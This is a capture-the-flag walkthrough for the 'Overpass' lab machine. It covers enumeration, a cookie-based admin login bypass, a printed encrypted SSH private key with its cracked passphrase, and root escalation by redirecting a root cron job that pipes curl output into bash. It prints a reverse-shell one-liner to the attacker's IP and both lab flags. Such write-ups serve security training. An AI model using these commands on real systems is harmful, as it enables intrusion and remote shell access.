Skip to main content

Overpass

Task 1: Overpass

Hack the machine and get the flag in user.txt

Let's run a nmap scan against the machine.

$ nmap -sC -sV 10.10.114.146
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-06 18:09 IST
Nmap scan report for 10.10.114.146
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 83.31 seconds

As we can see there are two open ports:

PortService
22ssh
80http

Let's visit the machine using our browser.

2

There is nothing of use here.

Let's use gobuster to perform directory brute forcing.

$ gobuster dir -u http://10.10.114.146 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.114.146
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/aboutus (Status: 301) [Size: 0] [--> aboutus/]
/admin (Status: 301) [Size: 42] [--> /admin/]
/css (Status: 301) [Size: 0] [--> css/]
/downloads (Status: 301) [Size: 0] [--> downloads/]
/img (Status: 301) [Size: 0] [--> img/]
/index.html (Status: 301) [Size: 0] [--> ./]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

Let's go to the /admin page.

3

We can view the source code using CTRL+U.

4

Let's view the /login.js file.

5

In this code, the login() function is what is important.

login.js
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}

It takes the username and password from the user and then creates an object cred with them. It then checks if the response includes the phrase Incorrect Credentials. If it doesn't, then the session cookie is set to the received value and we are redirected to /admin.

This is the bug we are going to exploit. Let's go to the Developer Tools > Storage tab.

6

We can create a new cookie using the + sign in the right hand corner.

7

Let's refresh the page.

8

We get an encrypted key. Let's save the key to a file called rsa_key.

$ cat rsa_key          
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,9F85D92F34F42626F13A7493AB48F337

LNu5wQBBz7pKZ3cc4TWlxIUuD/opJi1DVpPa06pwiHHhe8Zjw3/v+xnmtS3O+qiN
JHnLS8oUVR6Smosw4pqLGcP3AwKvrzDWtw2ycO7mNdNszwLp3uto7ENdTIbzvJal
73/eUN9kYF0ua9rZC6mwoI2iG6sdlNL4ZqsYY7rrvDxeCZJkgzQGzkB9wKgw1ljT
WDyy8qncljugOIf8QrHoo30Gv+dAMfipTSR43FGBZ/Hha4jDykUXP0PvuFyTbVdv
BMXmr3xuKkB6I6k/jLjqWcLrhPWS0qRJ718G/u8cqYX3oJmM0Oo3jgoXYXxewGSZ
AL5bLQFhZJNGoZ+N5nHOll1OBl1tmsUIRwYK7wT/9kvUiL3rhkBURhVIbj2qiHxR
3KwmS4Dm4AOtoPTIAmVyaKmCWopf6le1+wzZ/UprNCAgeGTlZKX/joruW7ZJuAUf
ABbRLLwFVPMgahrBp6vRfNECSxztbFmXPoVwvWRQ98Z+p8MiOoReb7Jfusy6GvZk
VfW2gpmkAr8yDQynUukoWexPeDHWiSlg1kRJKrQP7GCupvW/r/Yc1RmNTfzT5eeR
OkUOTMqmd3Lj07yELyavlBHrz5FJvzPM3rimRwEsl8GH111D4L5rAKVcusdFcg8P
9BQukWbzVZHbaQtAGVGy0FKJv1WhA+pjTLqwU+c15WF7ENb3Dm5qdUoSSlPzRjze
eaPG5O4U9Fq0ZaYPkMlyJCzRVp43De4KKkyO5FQ+xSxce3FW0b63+8REgYirOGcZ
4TBApY+uz34JXe8jElhrKV9xw/7zG2LokKMnljG2YFIApr99nZFVZs1XOFCCkcM8
GFheoT4yFwrXhU1fjQjW/cR0kbhOv7RfV5x7L36x3ZuCfBdlWkt/h2M5nowjcbYn
exxOuOdqdazTjrXOyRNyOtYF9WPLhLRHapBAkXzvNSOERB3TJca8ydbKsyasdCGy
AIPX52bioBlDhg8DmPApR1C1zRYwT1LEFKt7KKAaogbw3G5raSzB54MQpX6WL+wk
6p7/wOX6WMo1MlkF95M3C7dxPFEspLHfpBxf2qys9MqBsd0rLkXoYR6gpbGbAW58
dPm51MekHD+WeP8oTYGI4PVCS/WF+U90Gty0UmgyI9qfxMVIu1BcmJhzh8gdtT0i
n0Lz5pKY+rLxdUaAA9KVwFsdiXnXjHEE1UwnDqqrvgBuvX6Nux+hfgXi9Bsy68qT
8HiUKTEsukcv/IYHK1s+Uw/H5AWtJsFmWQs3bw+Y4iw+YLZomXA4E7yxPXyfWm4K
4FMg3ng0e4/7HRYJSaXLQOKeNwcf/LW5dipO7DmBjVLsC8eyJ8ujeutP/GcA5l6z
ylqilOgj4+yiS813kNTjCJOwKRsXg2jKbnRa8b7dSRz7aDZVLpJnEy9bhn6a7WtS
49TxToi53ZB14+ougkL4svJyYYIRuQjrUmierXAdmbYF9wimhmLfelrMcofOHRW2
+hL1kHlTtJZU8Zj2Y2Y3hd6yRNJcIgCDrmLbn9C5M0d7g0h2BlFaJIZOYDS6J6Yk
2cWk/Mln7+OhAApAvDBKVM7/LGR9/sVPceEos6HTfBXbmsiV+eoFzUtujtymv8U7
-----END RSA PRIVATE KEY-----

Next using ssh2john.py, to create a hash of the encrypted key.

$ /usr/share/john/ssh2john.py rsa_key > hash_key

Let's now use john to crack the hash.

$ john hash_key                                             
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 3 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
james13 (rsa_key)
1g 0:00:00:02 DONE 3/3 (2023-12-06 19:32) 0.4132g/s 585384p/s 585384c/s 585384C/s jamest1..james24
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Let's give the rsa_key file elevated permissions.

$ sudo chmod 700 rsa_key

We can now login as james using the rsa_key.

$ ssh -i rsa_key james@10.10.114.146
Enter passphrase for key 'rsa_key':
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Dec 6 14:06:09 UTC 2023

System load: 0.0 Processes: 88
Usage of /: 22.3% of 18.57GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.114.146
Swap usage: 0%


47 packages can be updated.
0 updates are security updates.


Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1
james@overpass-prod:~$

We have to first check the contents in the directory.

james@overpass-prod:~$ ls
todo.txt user.txt

Let's cat the user.txt file.

james@overpass-prod:~$ cat user.txt 
thm{65c1aaf000506e56996822c6281e6bf7}

Answer

thm{65c1aaf000506e56996822c6281e6bf7}

 

Escalate your privileges and get the flag in root.txt

There was another file, called todo.txt. Let's see what is in it.

james@overpass-prod:~$ cat todo.txt 
To Do:
> Update Overpass' Encryption, Muirland has been complaining that it's not strong enough
> Write down my password somewhere on a sticky note so that I don't forget it.
Wait, we make a password manager. Why don't I just use that?
> Test Overpass for macOS, it builds fine but I'm not sure it actually works
> Ask Paradox how he got the automated build script working and where the builds go.
They're not updating on the website

So we know that the builds are not going to the website.

Let's check the CRON jobs.

james@overpass-prod:~$ cat /etc/crontab 
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
# Update builds from latest code
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

We have to change the IP address that is mapped to overpass.thm to our IP address so that when the curl overpass.thm/downloads/src/buildscript.sh | bash command is run, it will run the file hosted by us.

9

  • Now we have to create the necessary directories inside /var/www/html/.
$ mkdir downloads                
$ cd downloads
$ mkdir src
$ cd src

Now let's create a buildscript.sh file and include reverse shell code in it.

10

Let's restart apache2.

sh -i >& /dev/tcp/10.17.48.138/9999 0>&1

Finally we need to listen using nc. After a while, we will get the shell.

$ nc -nlvp 9999            
listening on [any] 9999 ...
connect to [10.17.48.138] from (UNKNOWN) [10.10.114.146] 49412
sh: 0: can't access tty; job control turned off
#

Let's read the root.txt file.

# ls
buildStatus
builds
go
root.txt
src
# cat root.txt
thm{7f336f8c359dbac18d54fdd64ea753bb}

Answer

thm{7f336f8c359dbac18d54fdd64ea753bb}